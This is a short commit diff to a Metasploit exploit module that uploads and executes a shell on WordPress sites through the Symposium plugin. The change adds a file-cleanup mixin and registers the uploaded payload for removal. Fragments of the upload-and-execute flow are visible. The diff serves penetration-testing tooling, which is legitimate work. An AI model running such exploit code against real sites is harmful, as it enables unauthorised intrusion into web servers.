Add Msf::Exploit::FileDropper mixin

Author: rastating

modules/exploits/unix/webapp/wp_symposium_shell_upload.rb

@@ -8,6 +8,7 @@
 class Metasploit3 < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
+  include Msf::Exploit::FileDropper
   include Msf::HTTP::Wordpress
 
   def initialize(info = {})
@@ -76,6 +77,8 @@ def exploit
 
     if res && res.code == 200 && res.body.length > 0 && !res.body.include?('error') && res.body != '0'
       print_good("#{peer} - Uploaded the payload")
+      register_files_for_cleanup(payload_name)
+
       print_status("#{peer} - Executing the payload...")
       send_request_cgi(
       {